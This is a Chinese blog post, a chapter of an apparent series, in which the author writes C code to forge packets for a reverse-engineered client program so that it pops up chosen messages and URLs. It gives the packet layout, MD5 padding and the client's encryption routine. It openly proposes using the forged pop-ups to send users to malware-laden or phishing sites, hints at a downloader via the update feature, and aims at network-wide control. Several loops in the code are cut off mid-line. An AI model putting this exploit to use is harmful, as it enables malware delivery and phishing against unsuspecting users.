[原创]打造数据包生成器
PDF格式全文下载请
http://www.purpleroc.com/html/382547.html
Chapter 6——数据包生成器
有了上面的分析基础,我们算是对接收到的数据包的功能和结构了解的透彻了,那么,下面要做的自然是能够让客户端弹出我想弹出的网站和消息内容。
我这里主要用c实现的,很少敲代码,可能一些变成习惯和风格都不好,也希望大家给点建议和提醒,共同进步。
我们要做的第一步便是去构造整个数据包的框架:(用前面的一张图来说明)

第1位是可选的:04,06,C8,CA
第2位是整个数据包长度,在构造好后数据包后填写
3——18是生成的16位校验码
19——25由于我只要实现弹出窗口,所以,这里用原来的数值
26——44:时间(控制位和长度放到19-25中了,因为它们的值是不会变动的)
45:消息控制位 0C
46:消息的长度n+2
47——(46+n):要显示的消息
47+n:网址控制位 0A
48+n:网址长度 m+2
49+n——48+n+m:网址内容
49+n+m——61+n+m:固定不变的信息(包含下一个网址的控制信息10)
62+n+m:第二个网址长度 l+2
63+n+m——62+n+m+l:第二个网址内容
按照上面的规则,我们可以定义出一个大体的框架了,本想用结构体来定义的,可考虑到结构体需要考虑内存对齐,以及字符串‘\0’结尾不好处理。于是还是老老实实的用char型来拼接出我们想要的数据包吧(当然,那你可以有更好的办法,也希望你分享下~)
于是:
义两个全局变量:
//the global var
char msg_tim[19];
// 19位时间信息,格式为:2012-11-26 02:30:07
char message[500];
// 所有字符
然后,把前面的长度为定值的内容先制定好,内容变化的地方用0x00代替。
char msg_0[52]={
0X04,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X09,0X06,0X01,0X00,0X00,0X00,0X08,0X15,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X0A,0X03,0X31,0X0B,0X03,0X30,0X0C};
/*总共51位 1:总长度 2-17:校验码 26-44:时间 */
中间的49+n+m——61+n+m,也先定下来。
char msg_con2[13]={0X0E,0X06,0X20,0X03,0X00,0X00,0X0E,0X06,0XDC,0X05,0X00,0X00,0X10,};后面就是处理3个输入的信息了。
定义三个临时变量来接受输入信息:
char tem1[200]={'0'};
char tem2[200]={'0'};
char tem3[200]={'0'};
然后,再用如下的检测输入方式来进行输入。消息内容、网址,都是这个操作。
while((tem1[i++] = getchar()) != '\n' && i < sizeof(tem1));
tem1[i - 1] = '\0';
msg_msg=tem1;
len1 = strlen(tem1)+2;
tem = (char)len1; //tem 为 asc
message[52]=tem; // 第52位 长度
此后,将出了16位校验码和19位时间的数据连接起来。
//////////////////////////////////////连接
for (i=0;i<52;i++)
{
message[i]=msg_0[i];//将控制位放入全局变量message中用于生成模板
}
for (i=0;i //将用户输入的信息放入全局变量message中用于生成模
{
message[53+i]=msg_msg[i];
}
message[51+len1]=msg_con1[0];//将控制位放入全局变量message中用于生成模板
for (i=0;i
{
message[53+len1+i]=msg_url1[i];//将用户输入的网址1放入全局变量message中用于生成模
}
for (i=0;i<13;i++)
{
message[51+len1+len2+i]=msg_con2[i];//将控制位放入全局变量message中用于生成模板
}
for (i=0;i
{
message[52+len1+len2+i+13]=msg_url2[i];//将用户输入的网址2放入全局变量message中用于生成模
}
len=len1+len2+len3+63;//得到总长度
tem = (char)len;
message[1]=tem; //将总长度数据放入数据包中
return 0;
}再之后,就是按格式生成时间了。
char* msg_time()
{
char temp[5];
int tem;
time_t timep;
struct tm *p;
time(&timep);
/* address with the data */
p=localtime(&timep); /*取得当地时间*/
//gain the year
tem=p->tm_year+1900;
sprintf(temp, "%d", tem);
strcat (temp,"-");
strcpy (msg_tim,temp);
//cat with the month
tem=p->tm_mon+1;
sprintf(temp, "%d", tem);
strcat (temp,"-");
strcpy ((msg_tim)+5,temp);
//cat with the day
tem=p->tm_mday;
sprintf(temp, "%d", tem);
strcpy ((msg_tim)+8,temp);
strcat (msg_tim," ");
/* address with the time */
tem=p->tm_hour;
sprintf(temp, "%02d", tem);
strcat (temp,":");
strcpy ((msg_tim)+11,temp);
//hour
tem=p->tm_min;
sprintf(temp, "%02d", tem);
strcat (temp,":");
strcpy ((msg_tim)+14,temp);
//min
tem=p->tm_sec;
sprintf(temp, "%02d", tem);
strcpy ((msg_tim)+17,temp);
printf("%s\n",msg_tim);
return 0;
}这样,我们还剩下16位MD5的校验码没放上去了。到现在,可以生成了。
前面章节也说过,我用的那套从网上down下来的MD5算法并没有生成与客户端一致的校验码,还导致我一直以为是变形加密来着。我也没怎么去研究那套源代码,而是,直接自己写了个填充函数,在进行它的算法之前,先把所有信息都填充好。如下:
先定义好填充数据包:
static unsigned char PADDING[64] = {
0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};
index = len % 64; //获得余数
if (index<56)
{
for (i=0;i<56-index;i++)
msg_in[len+i]=PADDING[i];
len=len+i;
msg_in[len]=*(char *)&tem;
msg_in[len+1]=*(1+(char *)&tem);
for (i=0;i<6;i++)
{
msg_in[len+2+i]=PADDING[2+i];
}
len=len+2+i;
}//当余数小于56时,用10000补充,最后8字节用需加密数据包的长度进行填充
if (index>=56)//当余数大于等于56时,用10000填充满此64字节。而后,再开新建一个64字节数据,用0000填充,最后8字节填充上数据包长度
{
for (i=0;i<64-index;i++)
{
msg_in[len+i]=PADDING[i];
}
len=len+i;
for (i=0;i<56;i++)
{
msg_in[len+i]=PADDING[2+i];
}
len=len+i;
msg_in[len]=*(char *)&tem;
msg_in[len+1]=*(1+(char *)&tem);
for (i=0;i<6;i++)
{
msg_in[len+2+i]=PADDING[2+i];
}
len=len+2+i;
}这样的生成的数据包,就可以是我们程序能够正常处理的数据包了。
接下来,我们要测试下,也就是对程序发送,看能不能弹出我们想要弹出的对话框啊,网站之类的,于是,我们还要对数据包用程序自带的加密算法加密一次。如下:
unsigned char code (int lenth,unsigned char* pwd)
{
int i=0; //定义两个变量
char tmp[2]={0}; //临时缓存存放点
unsigned char n; //定义为无符号字符型
for (i=0;i
{
n=(((((((((pwd[i]>>2)&0X20)|(pwd[i]&0X40))>>2)|(pwd[i]&0X20))>>1)|(pwd[i]&2))>>1))|(((pwd[i]&0X1C)|(pwd[i]<<5))<<2); //密码算法核心
sprintf(tmp,"%02X",n); //将得到的结果转换为16进制
msg_in[i]=*(char *)&n;
}
return 0;
}
然后,我们试着对去掉时间校验的客户端发送一次,看看结果:

OK,搞定了。
既然能够弹出想要的消息框和内容,那,我们可以利用这个做什么呢?让他们打开挂马的网站?让他们打开钓鱼网站?还是刷刷自己空间或者博客的流量?这个就随你了~
其实,你还分析下,指不定这个程序还提供在线更新功能,直接从某个ip下载一个exe然后自动安装运行呢~直接相当于下载者了~具体的,也没有去继续分析了。有兴趣的自己再去研究吧。
于是,我们剩下的问题就是:如何实现全网控制?
且看下回分解。
——Tracy 2013-11-18
